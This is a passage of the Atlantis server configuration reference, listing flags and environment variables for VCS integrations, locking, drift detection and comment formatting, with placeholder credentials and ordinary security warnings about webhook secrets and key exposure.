`dev.azure.com`. COMPATIBILITY WARNING If you are affected by this change [docs](https://learn.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#administration) or this [issue](https://github.com/runatlantis/atlantis/issues/5595) both Service Hooks (v1 & v2) will convert the AD Organization name to lowercase: Examples: `https://dev.azure.com/MYCompany/` & `https://mycompany.visualstudio.com/` will be converted to `mycompany``https://dev.azure.com/MYCOMPANY/` & `https://myCOMPANY.visualstudio.com/` will be converted to `mycompany` This [change](https://github.com/runatlantis/atlantis/pull/5596) will be applied from version v0.35.0 What to do if you have pending plans that were generated with a previous version? Running an atlantis unlock from v0.35.0 on your current PRs will ignore the files on the `MYCompany` folder. On the next atlantis plan will use the `mycompany` folder and generate everything in the new folder name ### `--azuredevops-token` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration#azuredevops-token) bash atlantis server --azuredevops-token="RandomStringProducedByAzureDevOps" # or (recommended) ATLANTIS_AZUREDEVOPS_TOKEN="RandomStringProducedByAzureDevOps" Azure DevOps token of API user. ### `--azuredevops-user` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration#azuredevops-user) bash atlantis server --azuredevops-user="username@example.com" # or ATLANTIS_AZUREDEVOPS_USER="username@example.com" Azure DevOps username of API user. ### `--azuredevops-webhook-password` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration#azuredevops-webhook-password) bash atlantis server --azuredevops-webhook-password="password123" # or (recommended) ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD="password123" Azure DevOps basic authentication password for inbound webhooks (see [docs](https://docs.microsoft.com/en-us/azure/devops/service-hooks/authorize?view=azure-devops) ). SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from your Azure DevOps org. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. Should be specified via the `ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD` environment variable. ### `--azuredevops-webhook-user` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration#azuredevops-webhook-user) bash atlantis server --azuredevops-webhook-user="username@example.com" # or ATLANTIS_AZUREDEVOPS_WEBHOOK_USER="username@example.com" Azure DevOps basic authentication username for inbound webhooks. ### `--bitbucket-api-user` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration#bitbucket-api-user) bash atlantis server --bitbucket-api-user="apiuser@example.com" # or ATLANTIS_BITBUCKET_API_USER="apiuser@example.com" Bitbucket username (usually an email) used for API authentication with Bitbucket Cloud. This is used for API calls only. If not specified, Atlantis will use the value of `--bitbucket-user` for API authentication to maintain backward compatibility. **Note:** * The backward compatibility is for supporting the existing Bitbucket APP Passwords that are still valid until June 2026 (see [Atlassian's Bitbucket app password deprecation notice](https://www.atlassian.com/blog/bitbucket/bitbucket-cloud-transitions-to-api-tokens-enhancing-security-with-app-password-deprecation) ). **Config file key:** yaml bitbucket-api-user: apiuser@example.com **Environment variable:** `ATLANTIS_BITBUCKET_API_USER` **Note:** This flag is only relevant for Bitbucket Cloud (bitbucket.org) integrations. ### `--bitbucket-base-url` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration#bitbucket-base-url) bash atlantis server --bitbucket-base-url="http://bitbucket.corp:7990/basepath" # or ATLANTIS_BITBUCKET_BASE_URL="http://bitbucket.corp:7990/basepath" Base URL of Bitbucket Server (aka Stash) installation. Must include `http://` or `https://`. If using Bitbucket Cloud (bitbucket.org), do not set. Defaults to `https://api.bitbucket.org`. ### `--bitbucket-token` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration#bitbucket-token) bash atlantis server --bitbucket-token="token" # or (recommended) ATLANTIS_BITBUCKET_TOKEN="token" Bitbucket app password of API user. ### `--bitbucket-user` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration#bitbucket-user) bash atlantis server --bitbucket-user="myuser" # or ATLANTIS_BITBUCKET_USER="myuser" Bitbucket username used for git operations. For Bitbucket Cloud, if `--bitbucket-api-user` is not specified, this value will also be used for API authentication. ### `--bitbucket-webhook-secret` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration#bitbucket-webhook-secret) bash atlantis server --bitbucket-webhook-secret="secret" # or (recommended) ATLANTIS_BITBUCKET_WEBHOOK_SECRET="secret" Secret used to validate Bitbucket webhooks. SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from Bitbucket. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ### `--blocked-extra-args` [​](https://www.runatlantis.io/docs/server-configuration#blocked-extra-args) bash atlantis server --blocked-extra-args="-chdir,--chdir,-plugin-dir,--plugin-dir" # or ATLANTIS_BLOCKED_EXTRA_ARGS='-chdir,--chdir,-plugin-dir,--plugin-dir' Comma-separated list of Terraform CLI flag prefixes that are not allowed in comment extra args (the flags after `--`). Defaults to `-chdir,--chdir,-plugin-dir,--plugin-dir`. Notes: * These flags are blocked to prevent security issues such as working-directory traversal (`-chdir`) or loading malicious providers (`-plugin-dir`). * Setting this flag **replaces** the default list entirely. To extend the defaults, include them along with your custom flags, e.g. `-chdir,--chdir,-plugin-dir,--plugin-dir,-my-flag`. * Accepts a comma separated list, ex. `-flag1,-flag2`. ### `--checkout-depth` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#checkout-depth) bash atlantis server --checkout-depth=0 # or ATLANTIS_CHECKOUT_DEPTH=0 The number of commits to fetch from the branch. Used if `--checkout-strategy=merge` since the `--checkout-strategy=branch` (default) checkout strategy always defaults to a shallow clone using a depth of 1. Defaults to `0`. See [Checkout Strategy](https://www.runatlantis.io/docs/checkout-strategy) for more details. ### `--checkout-strategy` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration#checkout-strategy) bash atlantis server --checkout-strategy="" # or ATLANTIS_CHECKOUT_STRATEGY="" How to check out pull requests. Use either `branch` or `merge`. Defaults to `branch`. See [Checkout Strategy](https://www.runatlantis.io/docs/checkout-strategy) for more details. ### `--config` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#config) bash atlantis server --config="my/config/file.yaml" # or ATLANTIS_CONFIG="my/config/file.yaml" YAML config file where flags can also be set. See [Config File](https://www.runatlantis.io/docs/server-configuration#config-file) for more details. ### `--data-dir` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#data-dir) bash atlantis server --data-dir="path/to/data/dir" # or ATLANTIS_DATA_DIR="path/to/data/dir" Directory where Atlantis will store its data. Will be created if it doesn't exist. Defaults to `~/.atlantis`. Atlantis will store its database, checked out repos, Terraform plans by default, and downloaded Terraform binaries here. If Atlantis loses this directory, [locks](https://www.runatlantis.io/docs/locking) will be lost and unapplied plans will be lost. Note that the atlantis user is restricted to `~/.atlantis`. If you set the `--data-dir` flag to a path outside of Atlantis its home directory, ensure that you grant the atlantis user the correct permissions. ### `--default-tf-distribution` v0.24.0+ [​](https://www.runatlantis.io/docs/server-configuration#default-tf-distribution) bash atlantis server --default-tf-distribution="terraform" # or ATLANTIS_DEFAULT_TF_DISTRIBUTION="terraform" Which TF distribution to use. Can be set to `terraform` or `opentofu`. ### `--default-tf-version` v0.13.0 [​](https://www.runatlantis.io/docs/server-configuration#default-tf-version) bash atlantis server --default-tf-version="v0.12.31" # or ATLANTIS_DEFAULT_TF_VERSION="v0.12.31" Terraform version to default to. Will download to `/bin/terraform` if not in `PATH`. See [Terraform Versions](https://www.runatlantis.io/docs/terraform-versions) for more details. ### `--disable-apply-all` v0.9.0+ [​](https://www.runatlantis.io/docs/server-configuration#disable-apply-all) bash atlantis server --disable-apply-all # or ATLANTIS_DISABLE_APPLY_ALL=true Disable `atlantis apply` command so a specific project/workspace/directory has to be specified for applies. ### `--disable-automerge-label` v0.45.0+ [​](https://www.runatlantis.io/docs/server-configuration#disable-automerge-label) bash atlantis server --disable-automerge-label="no-auto-merge" # or ATLANTIS_DISABLE_AUTOMERGE_LABEL="no-auto-merge" Disable atlantis automerge only on pull requests with the specified label. Defaults to an empty string, so no label disables automerge by default. This flag has no effect unless automerge is enabled with `--automerge` or repo-level `automerge: true`. ### `--disable-autoplan` v0.15.0+ [​](https://www.runatlantis.io/docs/server-configuration#disable-autoplan) bash atlantis server --disable-autoplan # or ATLANTIS_DISABLE_AUTOPLAN=true Disable atlantis auto planning. ### `--disable-autoplan-label` v0.33.0+ [​](https://www.runatlantis.io/docs/server-configuration#disable-autoplan-label) bash atlantis server --disable-autoplan-label="no-autoplan" # or ATLANTIS_DISABLE_AUTOPLAN_LABEL="no-autoplan" Disable atlantis auto planning only on pull requests with the specified label. If `disable-autoplan` property is `true`, this flag has no effect. ### `--disable-global-apply-lock` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration#disable-global-apply-lock) bash atlantis server --disable-global-apply-lock # or ATLANTIS_DISABLE_GLOBAL_APPLY_LOCK=true If true, removes button in the UI that allows users to globally disable apply commands. ### `--disable-markdown-folding` v0.31.0+ [​](https://www.runatlantis.io/docs/server-configuration#disable-markdown-folding) bash atlantis server --disable-markdown-folding # or ATLANTIS_DISABLE_MARKDOWN_FOLDING=true Disable folding in markdown output using the `
` html tag. ### `--disable-repo-locking` v0.16.1 [​](https://www.runatlantis.io/docs/server-configuration#disable-repo-locking) bash atlantis server --disable-repo-locking # or ATLANTIS_DISABLE_REPO_LOCKING=true Stops atlantis from locking projects and or workspaces when running terraform. ### `--disable-unlock-label` v0.33.0+ [​](https://www.runatlantis.io/docs/server-configuration#disable-unlock-label) bash atlantis server --disable-unlock-label do-not-unlock # or ATLANTIS_DISABLE_UNLOCK_LABEL="do-not-unlock" Stops atlantis from unlocking a pull request with this label. Defaults to "" (feature disabled). ### `--discard-approval-on-plan` v0.29.0+ [​](https://www.runatlantis.io/docs/server-configuration#discard-approval-on-plan) bash atlantis server --discard-approval-on-plan # or ATLANTIS_DISCARD_APPROVAL_ON_PLAN=true If set, discard approval if a new plan has been executed. Currently only supported on GitHub and GitLab. For GitLab a bot, group or project token is required for this feature. Reference: [reset-approvals-of-a-merge-request](https://docs.gitlab.com/api/merge_request_approvals/#reset-approvals-of-a-merge-request) ### `--emoji-reaction` v0.29.0+ [​](https://www.runatlantis.io/docs/server-configuration#emoji-reaction) bash atlantis server --emoji-reaction eyes # or ATLANTIS_EMOJI_REACTION=eyes The emoji reaction to use for marking processed comments. Currently supported on Gitea, GitHub and GitLab. If not specified, Atlantis will not use an emoji reaction. Defaults to "" (empty string). NOTE Each VCS provider supports a different list of emojis: * [GitHub](https://docs.github.com/en/rest/reactions/reactions?apiVersion=2022-11-28#about-reactions) * [GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/fixtures/emojis/digests.json) * [Gitea](https://docs.gitea.com/administration/customizing-gitea#reactions) ### `--enable-diff-markdown-format` v0.25.0+ [​](https://www.runatlantis.io/docs/server-configuration#enable-diff-markdown-format) bash atlantis server --enable-diff-markdown-format # or ATLANTIS_ENABLE_DIFF_MARKDOWN_FORMAT=true Enable Atlantis to format Terraform plan output into a markdown-diff friendly format for color-coding purposes. Useful to enable for use with GitHub. Changed lines inside Terraform heredoc and multiline-string diffs are also formatted so diff-aware markdown renderers can color them. ### `--enable-drift-detection` [​](https://www.runatlantis.io/docs/server-configuration#enable-drift-detection) bash atlantis server --enable-drift-detection # or ATLANTIS_ENABLE_DRIFT_DETECTION=true Enable drift detection API endpoints. Drift detection does not run Terraform apply, but it does execute the normal plan lifecycle, including configured pre-workflow hooks, custom workflows, custom plan steps, and Terraform plan commands. When enabled, Atlantis will initialize in-memory storage for drift detection results and a remediation service, making drift detection, status, and plan-only remediation endpoints functional. If drift [webhooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#drift-detection-webhooks) are configured (`event: drift`), successful detection runs send notifications to Slack or HTTP endpoints, including no-drift heartbeat results. Drift detection does not bypass team allowlists or PR-state `plan_requirements` such as `approved` or `mergeable`; those checks fail closed when they cannot be evaluated outside a pull request. Destructive drift remediation apply actions also require `--enable-drift-remediation`. Defaults to `false`. ### `--enable-drift-remediation` [​](https://www.runatlantis.io/docs/server-configuration#enable-drift-remediation) bash atlantis server --enable-drift-detection --enable-drift-remediation # or ATLANTIS_ENABLE_DRIFT_DETECTION=true ATLANTIS_ENABLE_DRIFT_REMEDIATION=true Enable destructive drift remediation apply actions on the `/api/drift/remediate` endpoint. This flag requires `--enable-drift-detection`; without it, `action: "apply"` requests are rejected while read-only drift detection remains available. This flag does not bypass repository `apply_requirements`; requirements that need pull request state fail closed for non-PR remediation requests. Defaults to `false`. ### `--enable-external-stores` [​](https://www.runatlantis.io/docs/server-configuration#enable-external-stores) bash atlantis server --enable-external-stores # or ATLANTIS_ENABLE_EXTERNAL_STORES=true Enable external storage backends configured in the server-side repo config (`external_stores` block). When set, Atlantis reads the `external_stores` section from the repo config YAML to initialize backends such as S3 for plan file persistence. ### `--enable-policy-checks` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration#enable-policy-checks) bash atlantis server --enable-policy-checks # or ATLANTIS_ENABLE_POLICY_CHECKS=true Enables atlantis to run server side policies on the result of a terraform plan. Policies are defined in [server side repo config](https://www.runatlantis.io/docs/server-side-repo-config#reference) . ### `--enable-profiling-api` v0.25.0+ [​](https://www.runatlantis.io/docs/server-configuration#enable-profiling-api) bash atlantis server --enable-profiling-api # or ATLANTIS_ENABLE_PROFILING_API=true Enable [`net/http/pprof`](https://pkg.go.dev/net/http/pprof) endpoints for [continuous profiling](https://grafana.com/docs/pyroscope/latest/introduction/continuous-profiling/) of resources used by the server. See [profiling Go programs](https://go.dev/blog/pprof) for more information. ### `--enable-regexp-cmd` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration#enable-regexp-cmd) bash atlantis server --enable-regexp-cmd # or ATLANTIS_ENABLE_REGEXP_CMD=true Enable Atlantis to use regular expressions to run plan/apply commands against defined project names when `-p` flag is passed with it. This can be used to run all defined projects (with the `name` key) in `atlantis.yaml` using `atlantis plan -p .*`. The flag will only allow the regexes listed in the [`allowed_regexp_prefixes`](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#reference) key defined in the repo `atlantis.yaml` file. If the key is undefined, its value defaults to `[]` which will allow any regex. This will not work with `-d` yet and to use `-p` the repo projects must be defined in the repo `atlantis.yaml` file. When `--restrict-file-list` is enabled, regex project plans are limited to matching projects with files modified in the pull request. Without `--restrict-file-list`, regex project commands can still run against all matching projects. SECURITY WARNING It's not supposed to be used with `--disable-apply-all`. The command `atlantis apply -p .*` will bypass the restriction and run apply on every project. ### `--executable-name` v0.42.0+ [​](https://www.runatlantis.io/docs/server-configuration#executable-name) bash atlantis server --executable-name="atlantis" # or ATLANTIS_EXECUTABLE_NAME="atlantis" Comment command trigger executable name. Defaults to `atlantis`. This is useful when running multiple Atlantis servers against a single repository. Note: the "did you mean" misspelling warning only applies to the default executable name (`atlantis`). If you set a custom `--executable-name`, Atlantis won't warn about comments that are Levenshtein-close to it — this avoids spurious warnings when multiple servers with similar names (e.g. `atlantis-dev` and `atlantis-prod`) receive the same comment. ### `--fail-on-pre-workflow-hook-error` v0.27.0+ [​](https://www.runatlantis.io/docs/server-configuration#fail-on-pre-workflow-hook-error) bash atlantis server --fail-on-pre-workflow-hook-error # or ATLANTIS_FAIL_ON_PRE_WORKFLOW_HOOK_ERROR=true Fail and do not run the requested Atlantis command if any of the pre workflow hooks error. ### `--gh-allow-mergeable-bypass-apply` v0.30.0+ [​](https://www.runatlantis.io/docs/server-configuration#gh-allow-mergeable-bypass-apply) bash atlantis server --gh-allow-mergeable-bypass-apply # or ATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true Feature flag to enable ability to use `mergeable` mode with required apply status check. ### `--gh-app-id` v0.20.0+ [​](https://www.runatlantis.io/docs/server-configuration#gh-app-id) bash atlantis server --gh-app-id="00000" # or ATLANTIS_GH_APP_ID="00000" GitHub app ID. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations) . TIP A GitHub app can be created by starting Atlantis first, then pointing your browser at shell $(hostname)/github-app/setup You'll be redirected to GitHub to create a new app, and will then be redirected to shell $(hostname)/github-app/exchange-code?code=some-code After which Atlantis will display your new app's credentials: your app's ID, its generated `--gh-webhook-secret` and the contents of the file for `--gh-app-key-file`. Update your Atlantis config accordingly, and restart the server. ### `--gh-app-installation-id` v0.20.0+ [​](https://www.runatlantis.io/docs/server-configuration#gh-app-installation-id) bash atlantis server --gh-app-installation-id="123" # or ATLANTIS_GH_APP_INSTALLATION_ID="123" The installation ID of a specific instance of a GitHub application. Normally this value is derived by querying GitHub for the list of installations of the ID supplied via `--gh-app-id` and selecting the first one found and where multiple installations results in an error. Use this flag if you have multiple instances of Atlantis but you want to use a single already-installed GitHub app for all of them. You would normally do this if you are running a proxy as your single GitHub application that will proxy to an appropriate Atlantis instance based on the organization or user that triggered the webhook. ### `--gh-app-key` v0.20.0+ [​](https://www.runatlantis.io/docs/server-configuration#gh-app-key) bash atlantis server --gh-app-key="-----BEGIN RSA PRIVATE KEY-----(...)" # or ATLANTIS_GH_APP_KEY="-----BEGIN RSA PRIVATE KEY-----(...)" The PEM encoded private key for the GitHub App. SECURITY WARNING The contents of the private key will be visible by anyone that can run `ps` or look at the shell history of the machine where Atlantis is running. Use `--gh-app-key-file` to mitigate that risk. ### `--gh-app-key-file` v0.20.0+ [​](https://www.runatlantis.io/docs/server-configuration#gh-app-key-file) bash atlantis server --gh-app-key-file="path/to/app-key.pem" # or ATLANTIS_GH_APP_KEY_FILE="path/to/app-key.pem" Path to a GitHub App PEM encoded private key file. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations) . ### `--gh-app-slug` v0.16.1 [​](https://www.runatlantis.io/docs/server-configuration#gh-app-slug) bash atlantis server --gh-app-slug="myappslug" # or ATLANTIS_GH_APP_SLUG="myappslug" A slugged version of GitHub app name shown in pull requests comments, etc (not `Atlantis App` but something like `atlantis-app`). Atlantis uses the value of this parameter to identify the comments it has left on GitHub pull requests. This is used for functions such as `--hide-prev-plan-comments`. You need to obtain this value from your GitHub app, one way is to go to your App settings and open "Public page" from the left sidebar. Your `--gh-app-slug` value will be the last part of the URL, e.g `https://github.com/apps/`. ### `--gh-hostname` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#gh-hostname) bash atlantis server --gh-hostname="my.github.enterprise.com" # or ATLANTIS_GH_HOSTNAME="my.github.enterprise.com" Hostname of your GitHub Enterprise installation. If using [GitHub.com](https://github.com/) , don't set. Defaults to `github.com`. For GitHub Enterprise Cloud, use the tenant hostname, for example `tenant.ghe.com`. Do not include a scheme or an `api.` prefix; Atlantis derives the REST and GraphQL API endpoints from the hostname. ### `--gh-org` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#gh-org) bash atlantis server --gh-org="myorgname" # or ATLANTIS_GH_ORG="myorgname" GitHub organization name. Set to enable creating a private GitHub app for this organization. ### `--gh-team-allowlist` v0.41.0+ [​](https://www.runatlantis.io/docs/server-configuration#gh-team-allowlist) bash atlantis server --gh-team-allowlist="myteam:plan, secteam:apply, devops-team:apply, devops-team:import" # or ATLANTIS_GH_TEAM_ALLOWLIST="myteam:plan, secteam:apply, devops-team:apply, devops-team:import" In versions v0.35.0 and later, the GitHub team name can only be a slug because it is immutable. In versions between v0.21.0 and v0.34.0, the GitHub team name can be a name or a slug. In versions v0.20.1 and below, the GitHub team name required the case sensitive team name. Comma-separated list of GitHub teams and permission pairs. By default, any team can plan and apply. GitHub team hierarchy is honored. If an allowlisted team has child teams, members of those child teams inherit the parent team's allowed commands. TIP If you are using [policy checking](https://www.runatlantis.io/docs/policy-checking) , you must also allowlist the `policy_check` command for it to work on manual `atlantis plan` commands: bash atlantis server --gh-team-allowlist="*:plan,*:policy_check,myteam:apply" See [Policy Checking documentation](https://www.runatlantis.io/docs/policy-checking#step-1-enable-the-workflow) for more details. ### `--gh-token` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#gh-token) bash atlantis server --gh-token="token" # or (recommended) ATLANTIS_GH_TOKEN="token" GitHub token of API user. ### `--gh-token-file` v0.41.0+ [​](https://www.runatlantis.io/docs/server-configuration#gh-token-file) bash atlantis server --gh-token-file="/path/to/token" # or ATLANTIS_GH_TOKEN_FILE="/path/to/token" GitHub token of API user. The token is loaded from disk regularly to allow for rotation of the token without the need to restart the Atlantis server. ### `--gh-user` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#gh-user) bash atlantis server --gh-user="myuser" # or ATLANTIS_GH_USER="myuser" GitHub username of API user. This user is also used by the flag `--hide-user-plan-comments` and will need to be updated if migrating to github EMU. ### `--gh-webhook-secret` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#gh-webhook-secret) bash atlantis server --gh-webhook-secret="secret" # or (recommended) ATLANTIS_GH_WEBHOOK_SECRET="secret" Secret used to validate GitHub webhooks (see [GitHub: Validating webhook deliveries](https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries) ). SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitHub. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ### `--gitea-base-url` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitea-base-url) bash atlantis server --gitea-base-url="http://your-gitea.corp:7990/basepath" # or ATLANTIS_GITEA_BASE_URL="http://your-gitea.corp:7990/basepath" Base URL of Gitea installation. Must include `http://` or `https://`. Defaults to `https://gitea.com` if left empty/absent. ### `--gitea-page-size` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitea-page-size) bash atlantis server --gitea-page-size=30 # or (recommended) ATLANTIS_GITEA_PAGE_SIZE=30 Number of items on a single page in Gitea paged responses. Configuration dependent The default value conforms to the Gitea server's standard config setting: DEFAULT\_PAGING\_NUM The highest valid value depends on the Gitea server's config setting: MAX\_RESPONSE\_ITEMS ### `--gitea-token` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitea-token) bash atlantis server --gitea-token="token" # or (recommended) ATLANTIS_GITEA_TOKEN="token" Gitea app password of API user. ### `--gitea-user` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitea-user) bash atlantis server --gitea-user="myuser" # or ATLANTIS_GITEA_USER="myuser" Gitea username of API user. ### `--gitea-webhook-secret` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitea-webhook-secret) bash atlantis server --gitea-webhook-secret="secret" # or (recommended) ATLANTIS_GITEA_WEBHOOK_SECRET="secret" Secret used to validate Gitea webhooks. SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from Gitea. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ### `--gitlab-group-allowlist` v0.13.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitlab-group-allowlist) bash atlantis server --gitlab-group-allowlist="myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import" # or ATLANTIS_GITLAB_GROUP_ALLOWLIST="myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import" Comma-separated list of GitLab groups and permission pairs. By default, any group can plan and apply. NOTE Atlantis needs to be able to view the listed group members, inaccessible or non-existent groups are silently ignored. ### `--gitlab-hostname` v0.2.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitlab-hostname) bash atlantis server --gitlab-hostname="my.gitlab.enterprise.com" # or ATLANTIS_GITLAB_HOSTNAME="my.gitlab.enterprise.com" Hostname of your GitLab Enterprise installation. If using [GitLab.com](https://gitlab.com/) , don't set. Defaults to `gitlab.com`. ### `--gitlab-status-retry-enabled` [​](https://www.runatlantis.io/docs/server-configuration#gitlab-status-retry-enabled) bash atlantis server --gitlab-status-retry-enabled # or ATLANTIS_GITLAB_STATUS_RETRY_ENABLED=true Enable enhanced retry logic for GitLab pipeline status updates with exponential backoff. Defaults to `false`. ### `--gitlab-token` v0.2.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitlab-token) bash atlantis server --gitlab-token="token" # or (recommended) ATLANTIS_GITLAB_TOKEN="token" GitLab token of API user. ### `--gitlab-user` v0.2.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitlab-user) bash atlantis server --gitlab-user="myuser" # or ATLANTIS_GITLAB_USER="myuser" GitLab username of API user. ### `--gitlab-webhook-secret` v0.2.0+ [​](https://www.runatlantis.io/docs/server-configuration#gitlab-webhook-secret) bash atlantis server --gitlab-webhook-secret="secret" # or (recommended) ATLANTIS_GITLAB_WEBHOOK_SECRET="secret" Secret used to validate GitLab webhooks. SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitLab. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ### `--help` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#help) bash atlantis server --help View help. ### `--hide-prev-plan-comments` v0.19.0 [​](https://www.runatlantis.io/docs/server-configuration#hide-prev-plan-comments) bash atlantis server --hide-prev-plan-comments # or ATLANTIS_HIDE_PREV_PLAN_COMMENTS=true Hide previous plan comments to declutter PRs. This is only supported in GitHub and GitLab and Bitbucket currently and is not enabled by default. For Bitbucket, the comments are deleted rather than hidden as Bitbucket does not support hiding comments. For GitHub, ensure the `--gh-user` is set appropriately or comments will not be hidden. When using the GitHub App, you need to set `--gh-app-slug` to enable this feature. ### `--hide-unchanged-plan-comments` v0.29.0+ [​](https://www.runatlantis.io/docs/server-configuration#hide-unchanged-plan-comments) bash atlantis server --hide-unchanged-plan-comments # or ATLANTIS_HIDE_UNCHANGED_PLAN_COMMENTS=true Remove no-changes plan comments from the pull request. This is useful when you have many projects and want to keep the pull request clean from useless comments. ### `--ignore-vcs-status-names` v0.30.0+ [​](https://www.runatlantis.io/docs/server-configuration#ignore-vcs-status-names) bash atlantis server --ignore-vcs-status-names="status1,status2" # or ATLANTIS_IGNORE_VCS_STATUS_NAMES=status1,status2 Comma separated list of VCS status names from other atlantis services. When `gh-allow-mergeable-bypass-apply` is true, will ignore status checks (e.g. `status1/plan`, `status1/apply`, `status2/plan`, `status2/apply`) from other Atlantis services when checking if the PR is mergeable. Currently only implemented for GitHub. ### `--include-git-untracked-files` v0.27.0+ [​](https://www.runatlantis.io/docs/server-configuration#include-git-untracked-files) bash atlantis server --include-git-untracked-files # or ATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true Include git untracked files in the Atlantis modified file list. Used for example with CDKTF pre-workflow hooks that dynamically generate Terraform files. ### `--language` v0.45.0+ [​](https://www.runatlantis.io/docs/server-configuration#language) bash atlantis server --language="en" # or ATLANTIS_LANGUAGE="en" Language used for Atlantis pull request comments. Defaults to `en`. Supported values: * `en` (English) * `es` (Spanish) Atlantis normalizes locale-style values (for example `es-MX` resolves to `es`). If an unsupported language is configured and `--language-config-file` is not set, Atlantis returns a validation error at startup. Built-in language strings are loaded from: * `server/i18n/locales/en.yaml` * `server/i18n/locales/es.yaml` ### `--language-config-file` v0.45.0+ [​](https://www.runatlantis.io/docs/server-configuration#language-config-file) bash atlantis server --language="de" --language-config-file="/etc/atlantis/language.yaml" # or ATLANTIS_LANGUAGE_CONFIG_FILE="/etc/atlantis/language.yaml" Optional path to a custom YAML language catalog. Values in this file override the selected built-in language, and partial overrides are supported. When `--language-config-file` is set, unsupported `--language` values are allowed and Atlantis falls back to built-in English for unspecified strings. Expected YAML schema: yaml pull_request_label: Pull Request (custom) merge_request_label: Merge Request (custom) command_titles: plan: Plan (custom) apply: Apply (custom) For complete markdown wording customization, keep using `--markdown-template-overrides-dir`. ### `--locking-db-type` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration#locking-db-type) bash atlantis server --locking-db-type="" # or ATLANTIS_LOCKING_DB_TYPE="" The locking database type to use for storing plan and apply locks. Defaults to `boltdb`. Notes: * If set to `boltdb`, only one process may have access to the boltdb instance. * If set to `redis`, use `--redis-host` and `--redis-port` for single-node mode, or `--redis-cluster-addresses` for Redis Cluster mode. Use `--redis-password` and (optionally) `--redis-username` only if your Redis deployment requires authentication. ### `--log-level` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration#log-level) bash atlantis server --log-level="" # or ATLANTIS_LOG_LEVEL="" Log level. Defaults to `info`. ### `--markdown-template-overrides-dir` v0.21.0 [​](https://www.runatlantis.io/docs/server-configuration#markdown-template-overrides-dir) bash atlantis server --markdown-template-overrides-dir="path/to/templates/" # or ATLANTIS_MARKDOWN_TEMPLATE_OVERRIDES_DIR="path/to/templates/" This will be available in v0.21.0. Directory where Atlantis will read in overrides for markdown templates used to render comments on pull requests. Markdown template overrides may be specified either in individual files, or all together in a single file. All template override files _must_ have the `.tmpl` extension, otherwise they will not be parsed. Markdown templates which may have overrides can be found [markdown templates directory](https://github.com/runatlantis/atlantis/tree/main/server/events/templates) Please be mindful that settings like `--enable-diff-markdown-format` depend on logic defined in the templates. It is possible to diverge from expected behavior, if care is not taken when overriding default templates. Defaults to the atlantis home directory `/home/atlantis/.markdown_templates/` in `/$HOME/.markdown_templates`. ### `--max-comments-per-command` v0.32.0+ [​](https://www.runatlantis.io/docs/server-configuration#max-comments-per-command) bash atlantis server --max-comments-per-command=100 # or ATLANTIS_MAX_COMMENTS_PER_COMMAND=100 Limit the number of comments published after a command is executed, to prevent spamming your VCS and Atlantis to get throttled as a result. Defaults to `100`. Set this option to `0` to disable log truncation. Note that the truncation will happen on the top of the command output, to preserve the most important parts of the output, often displayed at the end. When command output exceeds the VCS comment size limit (or when this limit applies), Atlantis splits the output into multiple comments using **intelligent comment splitting**. Split points are chosen so that markdown structure is preserved: the splitter detects whether it is inside a code block (` ``` `), a `
